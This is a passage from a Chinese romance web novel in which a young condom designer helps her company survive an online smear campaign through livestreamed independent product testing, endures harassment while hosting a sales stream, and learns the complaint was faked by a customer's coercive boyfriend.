对于这种贴身的、私密的个人用品，安全永远是第一位。 但是，要如何让人相信这款产品确实是安全的呢？ “如果能让他们自己检测，或者参与检测呢？” 陈图森假设道，“人都只愿意相信自己相信的。所以，解释没用。” “既然他们不相信，那就给他们机会，让他们自己来找出问题。” 林晚星有些疑惑地看着陈图森，嘴巴还在无意识地进行着咀嚼动作，脑子里却在咀嚼着他的话。 让不相信的人自己来找出问题？ 这些人一定会想尽办法找出她们的问题，他们会找最严苛的检测机构，用最高的标准去检测。如果，最终的结果证明她们的产品没有问题，相当于他们自己打自己的脸，那么就可以堵住这部分人的嘴。 所以，问题是，她们的产品经得住检测吗？ 可以的。这款产品虽然前期的研发设计她没有参加，但是后期的制作、检测每一步她都有跟进。她很有信心，她们的产品是扛得住任何标准的检测。 这好像不失为一个好办法！ 林晚星的眼睛突然亮起来，倏地站起来。 陈图森不知道是不是自己又说错什么话，也紧张地跟着站起来。 她兴奋地看向陈图森，却把陈图森看得心里发怵：“我……” 瞎说的。 可是话还没说完，林晚星就已经走到了他的面前，双手搭在他的肩上，钦佩地说：“陈图森，你真是个天才！” “……啊？”陈图森还在发愣，突然两片温热的嘴唇贴在他的脸颊上，蜻蜓点水一样，很快就分开了。她看到刚才亲他的那两片嘴唇现在在他眼前一张一合：“我想到办法了！谢谢你！” 屋外，夏日的蝉鸣“吱吱吱吱吱吱”地叫个不听。 屋内，时间和空间都好像不存在了，陷入了停滞。 只有一个雀跃的身影一蹦一跳地跑回房间。 陈图森怔怔地看着这个身影，心里似乎也有只蝉在“吱吱吱”地叫，心弦颤动。 他抬手摸了摸刚才被亲的脸颊，林晚星忘了擦嘴，上面还残留着一层浅浅的油渍。 黏黏腻腻的。 陈图森摇摇头，有些无奈，双唇却微微扬起。 …… 周一的公司例会上，大家分别汇报了这一周的工作进展。 情况依旧不容乐观。 网上的舆论像病毒繁衍一样，根本停不下来。 仓库每天都要处理大量的退货。 再这么下去，大家都不愿看到的后果仿佛就明晃晃地站在眼前。 每个人的心情都沉甸甸，大气不敢喘一口。 昨天，林晚星被陈图森启发后，一整天躲在房间里查找相关品牌危机事件的处理方法。但是她找不到先例。 安全套这种产品，大家最在乎的，一是安全，另一个就是私密。谁也不会想着把这种事扒光展示在公众面前。她自己做了风险评估，虽然很出格，虽然很冒险，但是眼下都这种情况，何不置之死地而后生。 她小心翼翼地提出：“其实，现在我们说什么都不会有人相信的。我觉得，我们是不是可以大胆一点，让顾客或者网友自己来找茬。我们都很有信心，我们的产品是经得住检验的。那么，我们就让网友自己推举代表去检测，我们给予报销。到时结果出来，眼见为实，比我们自证一百遍都有用，起码可以堵住一部分的嘴巴。” 林晚星说完，大家面面相觑，谁也没有发表意见。 这个做法确实过于大胆，而且从来没有人这么做过，到底效果如何，很难评估。 小优平时接触这方面的工作比较多，她对这个做法持保留意见：“这样做，结果太不可控了。而且，舆论这种东西，有时候你做得越多，就错得越多。搞不好就是给网络黑子递素材。再说，万一……我说万一，真的检测出个什么问题，蜜语就真的……” 没法翻身了。 林晚星不想放弃，稍稍思考片刻，说：“网友代表只是作为这件事的一个主导者，但是我们会提供工作人员全程陪同，保证他们不使诈。而且，我们还可以直播，让大家看到整个过程。” 林晚星的做法越说越激进，小优低下头，指骨挠了挠太阳穴，依然不太看好这个方法。 空气再次陷入死寂般的沉默。 “我觉得……”这次是顾歆开口，“晚星的建议，未尝不可……” 这句话一出，在场的所有人都看向顾歆。 顾歆笑了笑，接着说：“就算搞砸了，最坏的结果，好像也不会比现在更坏吧？” “但是，如果成功了，蜜语就有可能翻身。” 第35章 第 35 章 她被陈图森箍着，紧紧地…… 要玩就玩一场大的, 顾歆决定用直播的方式，公开整场危机的处理过程和结果。 网友的检测和蜜语的检测会同步进行，也会同步直播。 看热闹不嫌事大的网友当然举双脚赞成，不仅能看热闹, 自己还能一起玩, 多有意思的事。他们建了一个超话, 推举出了3个代表负责跟进这件事，小风作为蜜语的代表陪同和负责直播。 同一天, 高菲菲和林晚星也来到网友选出的另一家检测机构进行检测。 为了让结果更有说服力, 顾歆决定不用她们一直合作的检测机构, 而是直接由网友推荐。 可是说，她们这一步着实是一步险棋。小优说得对，整个过程有太多的不可控因素，一旦翻车, 估计她们也就玩完了。 检测的过程一般是不对外的, 不过她们事先也和两家机构进行了沟通，得到了同意参观和拍摄检测过程。 当然, 当天也只能进行相关的物理性检测, 如尺寸检测、真空检测、爆破体积压力检测和包装完整性检测等, 至于微生物检测、有毒有害物质以及生物相容性等其它检测项目耗时较长，没法在一天内完成。 经过沟通，机构会在结果出来的第一时间，将报告同步发给网友代表和蜜语的负责人。 虽然检测结果还没完全出来, 但是蜜语如此坦坦荡荡的做法，至少在一定程度上说明她们对自己产品有信心，有一部分吃瓜群众已经开始动摇。 不过，还有相当一部分人□□： “就是故意作秀罢了, 想拖延时间，一旦结果出来她们就无话可说了。” “话说，她们该不会是想趁这段时间跑路吧？” “还好我没买过她们的产品，买了的尽快退吧，别到时人跑了，找都没地找。” 结果一天没出来，蜜语每一个人心里都像压着一块巨石，沉甸甸的。 顾歆乐观地鼓励大家：“不管怎样，舆论还是稍微缓和了一些。我们该做的事情都做了，不能一直被这件事影响。现在平台上又重新有下单了，我们的日常工作不能被影响。大家该做什么的就做什么，网上的舆论不用太放在心上。” 除了新推出的高敏款暂时下架之外，其它款式的套还在正常售卖。 蜜语前期积累了不少死忠粉，她们依然相信蜜语的产品，只是在这场风暴中，她们的声音像一粒尘埃，一下子就被卷得无踪无影。 于是，她们只能用实际行动表示支持。 蜜语日常的直播也还在进行，只是现在直播间的评论要比之前恶劣太多了。 “你们怎么还有脸出来卖套啊？” “你们这套安全吗？检测结果出来了吗？” 无论主播如何跟他们解释，出事的那款产品已经暂时下架，这些都是我们一直在售卖的产品，已经经过一系列安全检测，也从来没有出现过安全问题。 可是根本没人愿意听。 进来直播间的人越来越恶劣，甚至对主播公然调戏。 “什么高敏套，是平时没喂饱吧？” 有更恶劣的言论直接被平台掐掉了。 虽然平时直播也有不少这些看热闹的男人进来调侃，但是或许因为蜜语现在正处于舆论风口，什么牛鬼蛇神都来了。 播了两天，主播实在受不了了，直接辞职。 “每天看这些恶心的言论，我真的是隔夜饭都想吐出来。” 而要在这个当口去找一个新主播，难于上青天。 可是，直播间的销量，几乎占据了蜜语每个月的半壁江山。 如果在这个时候停播，不仅会影响销量，恐怕还会让消费者更加质疑她们公司是否还在正常运转。 林晚星犹豫了一下，自动请缨：“要不，我试试？” 上次去检测机构时，她也算是参与了一场直播，好像也没那么难。 而且，她觉得，作为产品设计师，直面用户也是很重要的。 顾歆确实一时找不到新的主播，而且林晚星说得也有道理，她也同意让林晚星尝试一下。林晚星平时也有看自家公司和同行的直播，大概的流程她是知道的，而且她对产品也熟悉，不用花太多时间背产品介绍，只要稍微熟悉一些直播话术就好了。 林晚星本来以为并不难，但真正坐在直播间的时候，她心里还是犯怵。 对着一部手机讲话的感觉怪怪的。 一开始，她频繁出错。 “回家吧孩子，回家吧，你不适合。” “她们公司的人是不是跑光了，怎么这人都能当主播。” “不过她看着也挺漂亮的。” “我还是喜欢之前那个，胸.大。” “这个也不错哦，算纯欲风？” …… 林晚星算是明白了为什么之前那个主播会受不了辞职。 她感觉自己卖的不是套，她自己才是那个被人观赏的商品。 她觉得自己像一个站在橱窗里的人形模特，路过的每一个人都停下来对她指指点点。却不是评论她身上的衣服，而是像拥有一双透视眼，能将她的衣服剥光，对她的身体评头论足。 这种被物化的凝视，简直是对人的尊严的践踏。 后台的工作人员一直在忙着把人请出直播间，可是走了1个，又会来10个。 甚至被拉黑、被禁言的用户，换一个账号又来了，说的话比刚才更加不堪入目。 林晚星咬着牙，支撑到直播的最后一分钟。 …… 蚂蚁智行技术研发部。 一个穿着白T恤的程序员突然双手用力地往桌子上一拍，大哭道：“又报警了！我真是服了！” 可是没有人回应他，他左右张望，看到坐在旁边的同事在摸鱼，低着头全神贯注地看手机，他把凳子滑过去，问：“看什么看这么入神？” “oi！”那人被吓了一跳，赶紧把手机翻转盖在桌面上，皱着眉问白T恤，“你干嘛？” “我累了，休息下，给我看看你在看啥？”说着，白T恤就要去拿他的手机。 摸鱼男按住，说：“没什么好看的，滚滚滚！” 白T恤不依不饶：“别那么小器，我就看一眼。” 摸鱼男只好将手机翻转过来，说：“看一眼就好哈。” 白T恤只看一眼，双眼都亮了，压低声音指着摸鱼男说：“哦，你看美女直播，信不信我告诉你女朋友！” “神经！我女朋友喜欢这个牌子的套，我来直播间看看有没优惠而已。” “什么牌子啊，好用吗？” 摸鱼男有些不耐烦：“你问这么多干嘛？你又没女朋友。” 白T恤白了他一眼：“瞧不起人是不是？说不定我明天就有了。” 说着，他自己将头凑近了些，看到了品牌logo，“蜜语？” 本来正在专心致志工作的陈图森一怔，抬起头。 白T恤还在问：“没听过这牌子，真的好用吗？” 摸鱼男：“还行吧，我女朋友喜欢。” 陈图森扭头问他们：“你们在看什么？” 白T恤立马将同事卖出去：“阿聪在看美女直播，给她女朋友买套。” 摸鱼男瞪大双眼，捶了他一拳：“叼你！你自己没看？” 陈图森突然伸出一只手，说：“给我看看。” 两人面面相觑，陈主管不是不近女色，清心寡欲的吗？ 平时有女同事借工作来找他搭讪，他聊完正事，多余的话一个字都不舍得多说。 他会好这口？！ 但他们也不敢不给，白T恤拿过摸鱼男的手机递过去，说：“森哥你看。这女主播还挺好看的，是不是？” 陈图森看到手机上正在直播的林晚星，是挺好看的。 不，应该是很好看。 他皱了皱眉头，可是，她不是产品设计师吗，怎么还跑去直播了？ 她们公司就是这么剥削员工的？一个人当一个团队用？ 他的眼睛从林晚星的脸上挪到底部的评论，一句句污言秽语滚入他的双眼。 他忍不住皱眉，半眯起眼睛。 突然“啪”地一声，陈图森将手机重重地砸在桌子上，推回去，斜睨着两人说：“你们很闲？” “……” “上班时间，是用来看直播买套的？” “……” 他看向白T恤：“你的程序还在报警，bug找到了吗？” 说完，又看向摸鱼男：“你的虚拟场景呢，搭建好了吗？下班之前发我。” “对不起，森哥。”白T恤灰溜溜地回到自己工位上。 摸鱼男默默地拿回手机，心疼地检查看看有没刮花，心里暗自嘀咕：没有性.生活的男人，果然无趣得很。 办公室又恢复安静，但是陈图森的心却无法平静下来。 他拿起手机给林晚星发了条信息：【今晚回家吃饭吗？】 可是，一直到下班，林晚星都没有回复。 陈图森下班后，直接买菜回家。 他回到家，在玄关看见林晚星的鞋子。她这么早就回来了？ 他拎着菜走进厨房放好，才走向林晚星的房间。 她的房门没有关，他慢慢走近，看见林晚星坐在椅子上抱着双膝在看手机。 “林晚星？”他一步一步走过去，手机的画面逐渐清晰，是他下午在办公室看到的那个画面。她在看回放，手指一直在评论区滑动。 陈图森的心突然被揪了起来。 他下午只是看了几条就觉得受不了，那她…… 他顾不上什么礼貌，直接走上去，一把夺过林晚星的手机，说：“别看了。” 林晚星像是被人从梦里拽了出来，猛地清醒，站起来要抢手机：“你干嘛？你管我！还我手机！” “不给！”陈图森仗着自己的身高优势，将手机举高，不让林晚星拿到。 林晚星又是踮脚，又是拉扯陈图森的衣服，却始终够不着，她有些生气，话里带着哭腔：“陈图森！你无不无聊！” 陈图森将手上的手机往床上一甩，林晚星转身正想过去拿，手臂突然被人拽住，下一秒，她就被陈图森箍着，紧紧地搂在怀里。 陈图森的胸腔微颤，声音传来：“别看了，林晚星。” 第36章 第 36 章 “你怎么会是我男朋友…… “他们根本就不了解你。”陈图森心疼地说, “他们没有资格评论你。你不必在乎他们说什么。” 林晚星当然知道。 今天下播后，她强忍着心里的难过和委屈，只是沮丧地说：“我好像播得不太好，我回去会多练几次的。” 她本来只是想回看自己直播时有哪些不好的地方, 但是看着看着她的注意力就忍不住被评论吸引。 她明知道不应该看, 她以前也是这么安慰主播同事的。 “你就当他们是在放屁！一群狗嘴吐不出象牙的狗男人！” 可是, 安慰别人总是容易的，落到自己身上的时候她才能感受到痛。 明知道他们都是在放屁, 她还是会忍不住怀疑自己。 她真的播得很不好吗？ 她真的长得不够好看吗？ 她是不是妆化得不够好, 还是衣服穿得不好看？ 以至于她甚至都忘了自己直播的初衷, 是为了介绍产品。 可是，是她自己说要直播的。 她总不能遇到一点点困难就退缩吧。 所以，她在公司的时候，强忍着不让自己露出一点点难受的样子。 歆姐已经很烦了, 所有人都很烦, 她很想为歆姐，为这个公司多做一点点。所以, 她只好将所有的委屈、难过吞下, 用高高的堤坝将它们困住。 可是, 陈图森猝不及防的拥抱，让她一时失了神。 她和陈图森不是没有抱过，但这是第一次，没有掺杂任何情.欲的拥抱。 他只是单纯地, 想要安慰她。 她像是站在洪水前进的方向上，马上就要被冲走的时候，陈图森从天而降，挡在她的面前, 拦截了所有的洪水，告诉她没事了。 这世界上，还有一个地方，是允许她软弱的。 林晚星筑起的堤防瞬间坍塌。 泪水不受控制地涌了上来。 …… 一个月后，蜜语的安全套检测结果终于出来了，所有的检测都通过。 虽然她们对自己的产品很有信心，但直到这一刻，蜜语所有人心中的大石头终于落下。 其实，互联网的世界，热点就像一阵龙卷风。来的时候威力强大，所到之处片甲不留。但是它走的也很快。 因为总是有下一股龙卷风。 再提蜜语这件事，吃瓜群众已经觉得有些没味道了。 这时候，理性的声音才能被听到。 “我从去年就开始用她们家的产品了，超好用！” “我就说是有人恶意造谣吧，这下你们自己去检测结果还是没事，是不是该给人家道歉啊。” “听说这家公司的员工都是女的，果然只有女性才懂女性，难怪做出来的套这么好用。” 当然，还有一些坚.挺的黑子，就算检测结果明晃晃地摆在眼前，他们也选择性失明。因为他们依然只相信自己想要相信的。 或者说，被现实打脸，告诉他们错了，这比要他们接受是对方错了还要困难。 “也不知道那些网友和检测机构是不是早就被买通了。还有那么久才出结果，谁知道中间发生了什么呢？” “真是服了，网友不是你们自己推举出来的吗？检测机构也是网友筛选出来的。现在不想承认了？” 反正不管大家说什么，这场舆论风波算是过去了。 虽然她们当时冷处理，时间久了，也不会有多少人讨论。但始终会在一些人心里留下疑问：蜜语的产品是不是真的有问题？是不是真的不够安全？ 但是她们采取这么高调的方式，则可以大声地告诉所有人，她们的产品完全没有问题，彻底打消了消费者的疑虑。 从另一个层面来说，这相当于是做了一波广告。 顾歆无疑是最开心的，她感激地对大家说：“很谢谢这段时间大家的付出，今晚我请大家吃饭，大家不要替我省钱，想吃什么就点！” “耶——” “谢谢歆姐！” 公司的欢呼声像过年一样充满欢乐和喜庆。 大家开心的并不是有饭吃，而是她们又一起度过了一个难关。 晚上，在餐桌上，沈碧给自己倒了一杯酒，扭头问林晚星：“小星儿，你会喝酒吗？” 林晚星摇摇头，说：“不会。” 沈碧：“没喝过？” 林晚星：“大学的时候喝过啤酒。” 沈碧拿过一个杯子，要给她倒红酒，说：“啤酒算什么，试试这个。” 小优见状，要制止道：“碧姐，你自己喝就好了，怎么能教小孩子喝酒。” 沈碧指着林晚星笑道：“她还小孩子？都到法定结婚年龄了。” 林晚星：“……” 怎么连法定结婚年龄都出来了。 不过，她还是接受了沈碧的好意。毕竟今天开心，她也想尝试一下新东西。 她捧起酒杯，对小优说：“没关系，我就喝一点。” 说是说喝一点，但结束的时候，林晚星已经趴倒在桌子上了。 小优将林晚星的头抬起来，她浑身无力，已经彻底醉了。 她束手无策：“天啊，这咋整？” 顾歆过来问道：“知道她家住哪里吗？” 小优：“滨江花园。” 顾歆过来搀起林晚星，对小优说：“小优，你帮我一起把晚星扶上车，我送她。” 小优赶紧过来扶着林晚星另一边的手：“好。” 顾歆开着车子将林晚星送到滨江花园。 滨江花园是一个比较老的小区，连地下停车场都没有，她直接开了进去。 她抬手轻轻拍了拍林晚星，问：“晚星，你是住哪一栋啊？” “嗯……”林晚星发出无意义的音节。 “林晚星！”顾歆加大了声音，捏着她的鼻子，“醒醒。” 林晚星睁开迷蒙的双眼，又用鼻子“嗯？”了一声。 顾歆趁机赶紧问道：“你住哪一栋？” 林晚星眨了眨眼睛：“12栋，702。” “12栋……” 顾歆一边开着车，一边低头张望，“12栋在哪啊？” “啊！看到了！” 她在12栋附近找到一个空位停下，将林晚星搀扶出来：“到家了，下车吧。” 顾歆穿着高跟鞋，林晚星浑身软绵绵的，一点力都没有，整个人瘫软在顾歆怀里，差点把她都撞倒了。 顾歆将林晚星扶好，忍不住埋怨道：“这个沈碧真是的！你也是！”她敲了敲林晚星的额头，“不会喝酒还学人家喝这么多。” 顾歆扶着林晚星走进楼道，看到楼梯时，差点自己也软了。 这时身后一个人跟着走了进来，他停在两人面前，低头看着顾歆怀里的醉鬼，皱着眉头问：“她怎么喝成这样？” “我来吧。”说完，他很自然地伸手，想要将林晚星扶过来。 顾歆看向眼前这个大男孩，高高瘦瘦的，长相清俊，双眼关心地落在林晚星身上，猜测道：“你是……晚星的男朋友？” 陈图森刚牵过林晚星的手，听到这句话，他整个人顿住了，抬头看着顾歆，似乎想问她为什么这么问。 可是，他只看了一秒，就将目光收回，点点头：“嗯。” 反正他们是什么关系，也没必要跟外人交待得太清楚。 承认是男女朋友关系，对方或许会更放心将林晚星交给他。 “我带她上去就好。”说着，他已经将林晚星转移到自己怀里。 顾歆当然愿意有人帮她一把，但是毕竟她没见过林晚星的男朋友，她也不放心就这么把她交给一个男人。 “我跟你们一起上去吧。” 陈图森疑惑地看着顾歆。 顾歆解释道：“我是她公司的老板，今晚我们聚餐，她一时高兴喝大了。我有责任把她安全送到家。” 陈图森点点头，接受了：“麻烦你帮忙扶一下她，我背她上去。” 说着，他将林晚星交给顾歆，在她面前蹲下来。 顾歆帮着把林晚星扶到陈图森背上。 感觉到背上的重量后，陈图森双手攥成拳头，稳稳地托起林晚星的腿弯。 顾歆的手搭在林晚星后背上，防止她摔下来。 到了7楼，陈图森将林晚星放下，交给顾歆，从包里掏出钥匙开门。 顾歆这下才放心了下来：“那就麻烦你照顾她了，明天可以让她晚点去公司，她最近太累了。” 陈图森礼貌地应道：“好的，我会转告她。谢谢你送她回来。” 关上门后，他直接将林晚星打横抱回她的房间，放在床上。 他给林晚星脱下鞋袜，直起身子，微微喘着气，看着不省人事的林晚星，无奈地说：“林晚星，你真会给我找麻烦。” “嗯。”床上的人理直气壮地嘟囔了一声。 陈图森也没照顾过醉鬼，不知道应该拿她怎么办。 按理说，应该让她好好睡觉。 可是她一身酒气，脏兮兮的，他又担心她会睡得不舒服。 这可怎么办呢？ 他不能给她洗，她自己也没法洗。 他只好拿出手机，上网搜索，提取了几个关键词后，他找到解决方法，对床上的人说：“你等着，我给你倒杯蜂蜜水。” 没多久，陈图森就拿着一杯蜂蜜水进来，还放了一条吸管。 他拉起林晚星，将吸管送进她的嘴里：“喝点水，会好点。” 林晚星半醉半醒，听话地吸了几口。 陈图森低头看着林晚星，她很乖巧地靠在他的怀里，像只小猫咪一样。 他的心也瞬间柔软下来。 不做的时候，他们之间很少这种亲昵的举动。 这应该是男女朋友间才有的吧？ 他突然想起，刚才那女人问他是不是林晚星的男朋友。 心脏莫名快速地跳动起来，双唇绷直，喉咙微微发涩。 为什么她会这么问？是她自己猜测的？ 可是，如果没听说过林晚星有男朋友的话，按理说不会这么问。 所以，是林晚星这么跟她说的？ 心脏跳得越来越快，喉咙有些缩紧。 他低头看向林晚星，声音有些发颤：“林晚星，我是你男朋友吗？” 林晚星喝水的动作停下来，她应该是听见了这句话，睁开沉重的眼皮，抬头看向眼前的人。 她用力地瞪大眼睛，似乎是为了把他看得更清楚。 过了几秒钟，林晚星突然咧嘴笑了起来：“陈图森，是你啊。” “你喝醉啦？你怎么会是我男朋友呢？” 陈图森的脸色倏地沉了下去。 第37章 第 37 章 相比起很多男人，他真的…… “呵。”陈图森自嘲地笑了声, 用玩笑掩饰自己的失望，“看来也没有醉得很彻底，还认得我是谁。” 林晚星打了个嗝，表情很痛苦地吞咽了一下, 似乎想要把什么压下去。 她抚着胸口说：“我没醉, 就是有点反胃, 头也重重的。” 陈图森还是忍不住关心：“干嘛喝这么多？” 林晚星咧嘴笑道：“开心啊！陈图森，我今天好开心啊！” 陈图森看着林晚星, 她仰着头, 一双眼睛像是会笑一样。每次她发自内心地开心时, 都会露出这样的眼神。 他想让她更开心，和人分享，快乐会加倍。 于是，他问道：“为什么这么开心？” “你上次给我建议的那个方法, 让网友自己去找出问题。真的可行！”林晚星看他的双眼满目钦佩, “你真的好厉害，检测结果出来了, 他们真的自己打脸了, 现在大家都相信我们的产品没问题。当然, 还是有一些黑子，不过没关系……” 陈图森嘴角浅浅地笑着：“你真的很喜欢这份工作。” 林晚星用力地点点头：“喜欢！很喜欢！” 陈图森：“为什么？” 林晚星脱口而出：“因为很有意义啊！” 陈图森：“有意义？” 他没太懂，他所说的意义，到底是什么。 林晚星很肯定地应道：“有意义啊！” 她说得有些累了, 很自然地靠在陈图森的怀里，眼睛浅浅地阖着，嘴里重复道：“很有意义……” “陈图森，你知道吗？我爸妈在我出生没多久就离婚了, 因为妈妈未婚先孕怀上了我。爸爸妈妈是因为我而结婚的，但是婚后我妈妈一点都不快乐，所以他们又因为我而离婚了。” 也许是触及到内心的伤心处，林晚星吸了吸鼻子，声音有些哽咽：“其实这不是我的错，但我总是会对他们感到很愧疚，尤其是我妈妈，我觉得自己好像耽误了她大半生。” “所以……我又回到蜜语，我就是想做出一款安全的、避.孕率能接近100%的安全套。我希望让大家认识到做好安全措施是很重要的，我希望所有小孩都是带着父母的爱和祝福来到这个世界上的，而不是因为意外。” 陈图森之前偷听到她和叶唯聊天，对她的家庭也猜测了个大概，但他还是第一次听林晚星说起家里的事。 他也才第一次知道，为什么她可以为这份工作付出这么多。 原来她的心里，有过这么重的阴影。 难怪她会重新回去蜜语，难怪她会为了工作去找个什么测评搭档。 他低头看着呼吸平稳的林晚星，所以，对她来说，这份工作并不仅仅是工作。 她是想用这份工作，去治愈自己曾经的伤。 他的心脏却忽然收紧。 这些事情她从来都不对他说。 除了吃饭和床上的事，她从来不跟他说自己的事。 为什么辞职，为什么又回来。 她父母的事，她每一次的开心和不开心。 还有这次她工作上遇到的事。 如果不是因为喝醉酒，她今天也不会跟他说这些话。 心里苦笑了一下，难怪她都不承认你是男朋友呢。 测评搭档和男朋友之间，还是存在距离的。 他能走进她的身体，但是却进不去她的心。 他们只会交流床.上技巧和产品使用感受，但不会交流感情。 陈图森搂着林晚星的手稍稍加重了力度。 …… 第二天，林晚星醒来，头还有点刺痛。 她用手揉了揉太阳穴，一转身，看到床头柜上放着一杯水。 她撑起上半身，看到杯子下还压着一张纸条，字迹遒劲有力、笔锋挺秀： “你老板说你今天可以晚点去，所以不用急。 杯子里的是蜂蜜水，如果还难受就再喝一点。” 林晚星拿起杯子，还没喝，已经感觉到一股淡淡的甜甜的蜜意在心中流淌。 她找到手机，打开陈图森的微信，给他发了两个字：【谢谢。】 陈图森：【醒了？】 林晚星：【嗯，刚醒。】 陈图森：【还难受吗？】 林晚星：【好多了。】 陈图森：【那就好。】 林晚星洗漱过后，刚到公司，就看到顾歆神色匆忙地从公司走了出来。 她的心莫名一紧，有些担忧：“歆姐。” “晚星，你来了。还好吗？” “我没事，你这是去哪里？” “当初说使用我们产品导致发炎的顾客联系我了，她就在隔壁八市，我现在直接过去找她。” 虽然这次的危机是解决了，但是问题的根源还没解决。 到底为什么这位顾客使用了她们的产品会导致发炎，始终还是未解之谜。 林晚星也很想知道原因，立刻问道：“我能跟你一起去吗？” 顾歆也没过多顾虑，应道：“行，走吧。” 两地离得不远，开车两个小时左右就到了。 路上，顾歆把对方的信息给林晚星看。 【对不起，给你们惹麻烦了。我知道这事跟你们无关，我不会再追究的，对不起。】 顾歆当即打电话过去，但是对方什么都不愿意说。她又问能否见一面细聊，女孩犹豫了很久，最终竟然答应了。 所以，顾歆也顾不上别的，立马就出门奔过来。 林晚星看完觉得怪怪的：“知道不关我们的事，那为什么一开始要搞我们啊？” 顾歆摇摇头：“现在也只有见到她才知道了。” 顾歆根据她发来的地址，来到一所大学门口，一个怯生生的女孩走了过来：“你们就是蜜语的人？” 顾歆应道：“是。” 看到来的人都是女的，女孩也稍微放松了些，介绍道：“我叫许欢。” “许欢你好。”顾歆对她笑了笑，问道：“这里有什么适合聊天的地方吗？” 许欢想了想，说：“前面，有一家餐吧，楼上有几间小包间。” 顾歆：“那我们就去那里吧。” 正好也到饭点了，三人点了菜，服务员离开后，顾歆首先问道：“你身体现在怎么样了？” 许欢点点头：“已经好多了。” 林晚星有些着急，开门见山就问：“你在短信上说，知道和我们无关，那为什么一开始又要污蔑我们？” 她甚至想说，是不是谁给了你钱，让你来搞我们？ 许欢羞愧得低下头，眼泪立马就涌上眼眶。 顾歆默默给她递了张纸巾。 “谢谢……”许欢接过，擦着眼泪说，“不是我，是我男朋友发的。” “你男朋友？” 许欢抿了抿唇，似是下了很大决心才说出口：“嗯，我和他谈了三个月。其实他刚确立关系，就想和我发生关系。但我当时害怕，每次都拒绝了。后来他就说我不爱他，连这个都不肯给他。” “他跟我生气了好久，我怎么哄都没用，最后我就答应了。结果……他连套都没有准备。我本来想拒绝他的，他说第一次还要戴套，多扫兴。而且……他还说，他从来不戴的，也没见把谁肚子搞大……” 林晚星皱着眉头，看着眼前这个不过是十八九岁的女孩，就这么被一个男人一步步哄骗上床，火气都快压不住了：“那你就同意了？” “我也没法反抗……”许欢把头埋得低低的，根本不敢看林晚星，“但我之后每一天都在担惊受怕，我买了验.孕棒，隔三岔五就背着舍友在测。我真的每一天都很害怕很害怕……过了一个星期，我男朋友又想带我去开房。” “这次我自己准备了，很强硬地要求他一定要戴套，他才勉强戴上。可是做完后，我就感觉那里很难受，很痛很痒。我男朋友给我看了，说有点红肿。但他说这很正常的，过几天就好了。” “我不懂，我就相信了他。我也不敢去医院，觉得很丢人，就想过几天再看看。可是情况一直没有好转。我才去医院。” 林晚星着急地问道：“医生怎么说？” 许欢支支吾吾：“有点撕裂……还有，细菌感染。” “可是，带了套，应该也能避免或减轻感染的风险啊。” 林晚星说道，有些不确定地扭头看看顾歆。 顾歆微微皱起眉头，还没开口，许欢就解释说：“他不是全程都戴……做了一半才退出来戴上。” 林晚星一口气差点背过去，一团火在胸腔里蹿来蹿去。 许欢：“我跟他说了这件事后，他不承认是自己的问题，反而一口咬定是套的问题。他说以前从来没出现过这样的情况，还说我买的这种小品牌的国产安全.套，贪便宜。他还拿我手机去填差评，说可以讹你们一把……” “他看你们并不重视，就说要去挂你们，所以才有后面的事……” 林晚星用力地一拍桌子，骂道：“狗男人！” 许欢被吓了一跳，挂在眼角的泪珠倏地滴落下来。 林晚星骂完才想起什么：“不对啊！发在网上的诊断书不是这么说的啊……” 许欢声音越来越小：“他P的……” 林晚星气得已经骂不过来了，她交叉双臂抱在胸前，气得大口大口地喘气。 骂他狗男人真是侮辱了狗。 “我也不知道会把这件事闹得这么大，我后来害怕极了。你们还打电话过来，我一听到是你们，就吓得赶紧把电话挂掉了。” 林晚星：“姐妹，这种男人赶紧扔了吧！” 光听已经觉得脏耳朵。 许欢：“我们已经分了……” 林晚星竖起一只大拇指：“干得好。” 顾歆听完整件事的来龙去脉，也觉得好气又好笑。 这几乎要把她们击垮的危机，竟然是因为这么一件事。 她握住许欢的手，说：“许欢，性.爱是两个人的事。我希望你记住了，你不需要为了任何人委屈自己。他如果爱你，就会关心你、尊重你，不会把自己的欲望和快乐凌驾于你的身体之上。” 在回程的路上，林晚星收到许欢的信息，她开心地对顾歆说：“许欢在网上发帖澄清了。” 其实，她们并没有要求她这么做。 毕竟，互联网的记忆堪比金鱼，也许早就没有人记得这件事的源头。 这是许欢自发的行为，她始终对她们感到愧疚，希望能做出一点补偿。 顾歆欣慰地说：“这件事至此，总算圆满结束了。小姑娘经过这件事，应该也会成长不少。” 林晚星却仍觉得心里沉甸甸的。 世界上，绝对不仅有一个许欢。 很多女孩子都是许欢。 她们因为爱对方，所以才会一而再再而三地将就，甚至冒着伤害自己身体的风险去顺从对方的意愿。 一方面是相关知识的缺乏，另一方面，是女孩常常在爱情里将自己置身于下位。因为她们潜意识里就觉得，在性这件事情上，男性是占据主导地位。 其实，双方应该是平等的。 她突然想起陈图森。 他们虽然不是男女朋友，但是至少在那种事情上是互相尊重的。 他虽然偶尔会玩些新花样，但是每次都会主动戴套，也绝不会做出一些伤害她身体的事，不会把风险转嫁到她身上。 她明确提出过不喜欢的行为，他也绝对不会再做第二次。 相比起很多男人，他真的很好。 顾歆注意到她脸上的表情，笑着问道：“在想男朋友吗？” 林晚星一惊：“男朋友？” 谁啊？ 哦！她想起来了，她以前自己造自己的谣，说她交男朋友了。 “不是。”林晚星否认道，“我只是在想，歆姐，其实我们可以做得更多一点。” 第38章 第 38 章 “为什么我只能假扮你男…… 林晚星今天没喝醉, 顾歆将她送到小区门口就停下来。 “歆姐拜拜！” 顾歆笑着挥挥手：“拜拜，早点休息。” 林晚星：“你也是，注意安全。” 和顾歆告别后，林晚星迈着小碎步跑向大门, 突然后脑勺的马尾被人轻轻扯了下。 “啊——”她回头一看, “陈图森？你也这么晚？” 陈图森淡淡地应道：“嗯, 加班。” 他下午收到林晚星的短信，说她不回家吃饭。想着自己回去也是一个人, 他就干脆留在公司加班。 两人并肩走在路上, 沉默无言。 回到家, 两人各自回房间收拾洗澡，像这两个月一样，各不相干。 这段时间，她一直在忙工作上的事, 和陈图森短暂回归到很单纯的室友关系。 自从她上次发脾气说“以后都不用做了”, 陈图森就真的再也没提过做那些事。 她忍不住想起许欢。 虽然那人是她男朋友，但是更多只是把她当成发泄/欲.望的工具罢了。 相反, 她和陈图森这种工具人身份, 反而更加尊重彼此。 是不是因为没有牵扯感情, 只有明文的约定，所以他们都可以更加直白地表达自己的想法吗？ 林晚星也不好说，但她不得不承认，她运气很好。 幸好她遇到的人是陈图森。 虽然他瘾大, 但她始终感觉到被尊重。 如果，她是说如果，她有一天想找男朋友，也许会愿意找陈图森……这样的人。 洗过澡后, 